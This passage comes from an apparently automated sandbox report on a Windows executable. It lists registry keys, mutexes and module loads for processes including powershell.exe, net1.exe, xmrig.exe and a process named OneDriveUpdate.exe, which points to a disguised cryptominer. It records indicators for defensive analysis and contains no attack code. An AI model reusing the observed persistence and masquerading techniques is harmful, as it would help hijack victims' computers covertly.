"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp, 00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp, 00000000-00001548.00000002.243806.82B90000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp")3e:T887,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" in Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug\AutoExclusionList" in Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe "SOFTWARE\Policies\Microsoft\Windows\Windows Error Reporting\DebugApplications" in Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe "SOFTWARE\Microsoft\Windows\Windows Error Reporting\DebugApplications" in Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe "SOFTWARE\Classes\" in Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe "SOFTWARE\dotnet" in Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe "HKCU\" in Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe "HKLM\" in Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00001548.00000000.239967.80D10000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug\AutoExclusionList" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\Windows Error Reporting\DebugApplications" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp "SOFTWARE\Microsoft\Windows\Windows Error Reporting\DebugApplications" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp "SOFTWARE\Classes\" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp "SOFTWARE\dotnet" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp "HKCU\" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp "HKLM\" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp3f:T807,Process net1.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:9196:304:WilStaging_02" Process net1.exe created mutex with name "Local\SM0:9196:304:WilStaging_02" Process net1.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2296:304:WilStaging_02" Process net1.exe created mutex with name "Local\SM0:2296:304:WilStaging_02" Process net1.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1200:304:WilStaging_02" Process net1.exe created mutex with name "Local\SM0:1200:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4556:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4556:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:4556:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:4556:120:WilError_03" Process powershell.exe created mutex with name "SM0:4556:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4556:120:WilError_03" Process xmrig.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3544:304:WilStaging_02" Process xmrig.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3544:120:WilError_03" Process xmrig.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3544:120:WilError_03" Process xmrig.exe created mutex with name "Local\SM0:3544:304:WilStaging_02" Process xmrig.exe created mutex with name "Local\SM0:3544:120:WilError_03" Process xmrig.exe created mutex with name "SM0:3544:120:WilError_03" Process OneDriveUpdate.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5904:120:WilError_03" Process OneDriveUpdate.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5904:120:WilError_03" Process OneDriveUpdate.exe created mutex with name "Local\SM0:5904:120:WilError_03" Process OneDriveUpdate.exe created mutex with name "SM0:5904:120:WilError_03"40:T18ba,"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" failed to load missing module "C:\advapi32.dll" - [base:0; Status:c0000135] "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" failed to load missing module "C:\kernel32.dll" - [base:0; Status:c0000135] "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" failed to load missing module "C:\ntdll.dll" - [base:0; Status:c0000135] "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" failed to load missing module "C:\user32.dll" - [base:0; Status:c0000135] "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" failed to load missing module "C:\ole32.dll" - [base:0; Status:c0000135] "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" failed to load missing module "C:\BCrypt.dll" - [base:0; Status:c0000135] "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" failed to load missing module "C:\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135] "xmrig.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "xmrig.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "xmrig.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "xmrig.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "xmrig.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "xmrig.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "xmrig.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135]41:T1b49,"REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00001548.00000000.239967.80D10000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug\AutoExclusionList" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\Windows Error Reporting\DebugApplications" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp "SOFTWARE\Microsoft\Windows\Windows Error Reporting\DebugApplications" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp "SOFTWARE\Classes\" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp "SOFTWARE\dotnet" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp "HKCU\" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp "HKLM\" in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates" in Source: 00000000-00001548.00000001.241886.B3DC0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs" in Source: 00000000-00001548.00000001.241886.B3DC0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates" in Source: 00000000-00001548.00000002.243806.B3DC0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs" in Source: 00000000-00001548.00000002.243806.B3DC0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003544.00000001.243712.01940000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00003544.00000001.243712.01940000.00000004.mdmp "try\Machine\Software\Classes\W" in Source: 00000000-00003544.00000001.243712.01940000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003544.00000001.243712.01940000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003544.00000001.243712.01940000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003544.00000002.245630.01940000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00003544.00000002.245630.01940000.00000004.mdmp "try\Machine\Software\Classes\W" in Source: 00000000-00003544.00000002.245630.01940000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00004556.00000000.241117.5FFC0000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004556.00000000.241117.5FFC0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004556.00000000.241117.5FFC0000.00000004.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00004556.00000001.242060.4C5B3000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00004556.00000001.242060.4C5B3000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00004556.00000001.242060.4C5B3000.00000002.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004556.00000001.242060.5FFC0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004556.00000001.242060.5FFC0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004556.00000001.242060.7A350000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004556.00000001.242060.7A350000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00004556.00000001.242060.7A710000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}" in Source: 00000000-00004556.00000001.242060.7A710000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00004556.00000001.242060.7A710000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00004556.00000001.242060.7A710000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}" in Source: 00000000-00004556.00000001.242060.7A710000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}" in Source: 00000000-00004556.00000001.242060.7A710000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{0000032A-0000-0000-C000-000000000046}" in Source: 00000000-00004556.00000001.242060.7A710000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00004556.00000001.242060.7A710000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004556.00000001.242060.7A7FE000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00004556.00000001.242060.7A7FE000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00004556.00000001.242060.7A7FE000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004556.00000001.242060.8D473000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004556.00000001.242060.8D473000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004556.00000001.242060.8D473000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004556.00000001.242060.8D473000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004556.00000001.242060.8D473000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004556.00000001.242060.8D473000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00009196.00000000.240162.D0E32000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00009196.00000000.240162.D0E32000.00000002.mdmp42:T408,"RepositoryUrl!https://github.com/dotnet/runtime" (Indicator: "github.com") "https://github.com/mono/linker/issues/1187 Trimmer thinks this implements IXmlSerializable.GetSchema() and warns about not matching attributes." (Indicator: "github.com") "JustificationvThe only callsite is marked with DynamicallyAccessedMembers. Workaround for https://github.com/mono/linker/issues/1981" (Indicator: "github.com") "JustificationXWorkarounds https://github.com/mono/linker/issues/1416. All usages are marked as unsafe." (Indicator: "github.com") "JustificationXWorkarounds https://github.com/mono/linker/issues/1906. All usages are marked as unsafe." (Indicator: "github.com") "_type is annotated as preserve All members, so any Types returned from GetInterfaces should be preserved as well once https://github.com/mono/linker/issues/1731 is fixed." (Indicator: "github.com") "Calling _type.Assembly.GetType on a non-assembly qualified type will still work. See https://github.com/mono/linker/issues/1895v" (Indicator: "github.com")43:T5703,"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffd5a840000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffd5a840000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffd5a840000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "KERNEL32" at base 7ffd5b8f0000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffd329e0000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "KERNEL32.DLL" at base 7ffd5b8f0000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "NTDLL" at base 7ffd5cf90000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffd59400000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffd5c040000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "C:\ADVAPI32.DLL" at base 0 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "ADVAPI32.DLL" at base 7ffd5bf50000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "C:\KERNEL32.DLL" at base 0 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "C:\NTDLL.DLL" at base 0 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "NTDLL.DLL" at base 7ffd5cf90000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "ICU.DLL" at base 7ffd361f0000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "C:\USER32.DLL" at base 0 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "USER32.DLL" at base 7ffd5b510000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "C:\OLE32.DLL" at base 0 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "OLE32.DLL" at base 7ffd5afb0000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "C:\BCRYPT.DLL" at base 0 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "BCRYPT.DLL" at base 7ffd59c90000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffd5abf0000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "C:\SHELL32.DLL" at base 0 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "SHELL32.DLL" at base 7ffd5c5f0000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "KERNELBASE" at base 7ffd5a840000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "RPCRT4.DLL" at base 7ffd5c4d0000 "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffd57840000 "net1.exe" loaded module "KERNEL32" at base 7ffd5b8f0000 "net1.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffd5a840000 "net1.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffd5a840000 "net1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffd5a840000 "net1.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffd5c000000 "net1.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffd5a840000 "net1.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffd5a840000 "net1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffd5a840000 "net1.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffd329e0000 "net1.exe" loaded module "RPCRT4.DLL" at base 7ffd5c4d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffd5a840000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffd5a840000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffd5a840000 "powershell.exe" loaded module "KERNEL32" at base 7ffd5b8f0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffd329e0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffd5b8f0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffd5bf50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffd32560000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffd5ced0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffd59400000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffd4f490000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffd2ebc0000 "powershell.exe" loaded module "USER32.DLL" at base 7ffd5b510000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffd5a840000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffd526f0000 "powershell.exe" loaded module "NTDLL" at base 7ffd5cf90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffd5c040000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffd5b450000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffd5c4d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7ffd1b150000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 7ffd5afb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffd5c040000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffd5ad90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7ffd1a530000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7ffd19aa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffd30610000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffd59370000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffd5abf0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\EA893D7E336A196C927C3F1251A1D1A9\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffd17a20000 